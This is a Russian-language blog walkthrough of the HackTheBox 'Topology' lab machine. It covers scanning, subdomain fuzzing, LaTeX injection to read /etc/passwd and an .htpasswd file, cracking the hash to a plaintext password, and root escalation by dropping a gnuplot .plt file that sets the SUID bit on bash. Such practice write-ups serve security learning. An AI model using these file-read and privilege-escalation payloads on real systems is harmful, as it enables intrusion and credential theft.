Blog

Разбор HackTheBox – Topology (Easy)

Сложность:Easy
ОС:Linux
Баллы:20
IP:10.10.11.217
Теги:LaTeX syntax, Password Bruteforce, Command Injection, Linux PrivEsc

Краткое описание решения

После первичной разведки веб-приложения мы обнаруживаем дополнительный поддомен с возможностью чтения содержимого файлов на целевой машине с помощью интерпретатора LaTeX.
Из файла /var/www/dev/.htpasswd получаем Apache MD5 хэш пароля учётной записи vdaisley и успешно перебираем его, после чего получаем флаг пользователя. Затем с помощью утилиты pspy64 обнаруживаем на целевой машине возможность внедрения полезной нагрузки в файл .plt и успешно получаем доступ к учётной записи root и соответствующий флаг.

Фаза разведки

Проведём первичное сканирование цели:

nmap -sS -p- 10.10.11.217

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http

Просканируем более подробно: nmap -sVC -O -p22,80 10.10.11.217

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
|   256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_  256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Miskatonic University | Topology Group
|_http-server-header: Apache/2.4.41 (Ubuntu)

При посещении сайта мы можем обнаружить страницу веб-сервиса университета Miskatonic University of Mathematics, Topology Group с перечисленными на нём сотрудниками и проектами. Среди них наиболее интересен проект LaTeX Equation Generator, а также список сотрудников: Professor Lilian Klein, Vajramani Daisley, Derek Abrahams. Также, на сайте был обнаружен адрес электронной почты с потенциальным доменом сайта – lkllein@topology.htb.

Добавим домены в /etc/hosts:

# HTB
10.10.11.217    topology.htb   latex.topology.htb

Просканируем директории доступные на topology.htb:

gobuster dir -u http://topology.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k

Получим следующий результат:

/images               (Status: 200) [Size: 1133]
/css                  (Status: 200) [Size: 925]
/javascript           (Status: 403) [Size: 277]
/portraits            (Status: 200) [Size: 1357]
/server-status        (Status: 403) [Size: 277]

Далее осуществим сканирование поддоменов доступных в сервисе на предмет дополнительного функционала и сведений, для этого можем использовать любой сканер на ваше усмотрение:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://topology.htb/ -H "Host: FUZZ.topology.htb" -fw 1612

Получаем следующий результат сканирования:

dev              [Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 1677ms]
stats            [Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 1215ms]
latex                   [Status: 200, Size: 2828, Words: 171, Lines: 26, Duration: 3284ms]

Добавим также поддомены dev и stats в файл hosts и проведём разведку их содержимого:

# HTB
10.10.11.217    topology.htb   latex.topology.htb   dev.topology.htb   stats.topology.htb

Переходим к сервису dev.topology.htb:

Для дальнейшего взаимодействия требуется авторизоваться, но пока что никакими данными авторизации мы не обладаем, поэтому перейдём к сервису LaTeX и рассмотрим его подробнее.

Чтение произвольного файла с помощью LaTeX и перебор пароля

Данный сервис позволяет экспортировать пользовательский код на языке разметки LaTeX в изображения формата PNG.

Перехватим запрос, содержащий конвертируемый LaTeX синтаксис (для примера выполним команду вывода содержимого файла text.txt) с помощью Burp Suite:

Видим, что мы можем успешно выполнять произвольные команды. Теперь попытаемся получить список пользовательских и сервисных учётных записей на целевой машине с помощью команды:

$\lstinputlisting{/etc/passwd}$

Получили список сервисных УЗ, а также узнали о существовании на целевой машине пользователя vdaisley. Поскольку ранее мы встретили Basic HTTP авторизацию на сервисе dev.topology.htb учётные данные необходимые для авторизации в приложении могут содержаться в файле .htpasswd, расположенном по пути /var/www/dev/.htpasswd. Аналогично выводу содержимого файла /etc/passwd прочтём содержимое файла /var/www/dev/.htpasswd:

$\lstinputlisting{/var/www/dev/.htpasswd}$

Получили хэш пароля от учётной записи vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIBIxTY0. После недолгих поисков обнаружим, что данная разновидность хэша это Apache MD5. Воспользуемся утилитой JohnTheRipper и переберём пароль по словарю rockyou.

Получили следующие данные УЗ: vdaisley:calculus20

Успешно авторизуемся с этими данными на dev.topology.htb:

Попробуем также использовать этот пароль и логин для авторизации с помощью SSH: ssh vdaisley@topology.htb

Успешно получили флаг пользователя.

Повышение до root

Полученный пользователь не может запускать sudo.

Загрузим на целевую машину скрипт сбора информации LinPEAS и инструмент анализа процессов pspy64.

Наиболее интересен в плане потенциальной эксплуатации оказались сведения полученные с помощью pspy64:

2023/06/23 21:34:07 CMD: UID=0   PID=3570    |    find /opt/gnuplot -name *.plt -exec gnuplot {};
2023/06/23 21:34:07 CMD: UID=0   PID=3569    |    /bin/sh /opt/gnuplot/getdata.sh
2023/06/23 21:34:07 CMD: UID=0   PID=3568    |    /bin/sh -c /opt/gnuplot/getdata.sh
2023/06/23 21:34:07 CMD: UID=0   PID=3567    |    /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;
2023/06/23 21:34:07 CMD: UID=0   PID=3566    |    /usr/sbin/CRON -f
2023/06/23 21:34:07 CMD: UID=0   PID=3565    |    /usr/sbin/CRON -f
2023/06/23 21:34:07 CMD: UID=0   PID=3579    |    sed s/,//g
2023/06/23 21:34:07 CMD: UID=0   PID=3578    |    /bin/sh /opt/gnuplot/getdata.sh
2023/06/23 21:34:07 CMD: UID=0   PID=3577    |    /bin/sh /opt/gnuplot/getdata.sh
2023/06/23 21:34:07 CMD: UID=0   PID=3576    |    uptime
2023/06/23 21:34:07 CMD: UID=0   PID=3580    |    /bin/sh /opt/gnuplot/getdata.sh
2023/06/23 21:34:07 CMD: UID=0   PID=3581    |    tail -60 /opt/gnuplot/loaddata.dat
2023/06/23 21:34:07 CMD: UID=0   PID=3582    |   gnuplot /opt/gnuplot/networkplot.plt

Проанализировав каким образом передаются параметры инструмента gnuplot мы можем сформировать полезную нагрузку, с помощью которой мы получим доступ к учётной записи root. Создадим файл evil.plt в /opt/gnuplot с содержимым:

echo "system 'chmod u+s /bin/bash'" > /opt/gnuplot/evil.plt

Через некоторое время выполним команду: /bin/bash -p

Успешно получили доступ к учётной записи root и смогли прочитать флаг:

Ссылки:

https://book.hacktricks.xyz/pentesting-web/formula-csv-doc-latex-ghostscript-injection#read-file

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/gnuplot-privilege-escalation/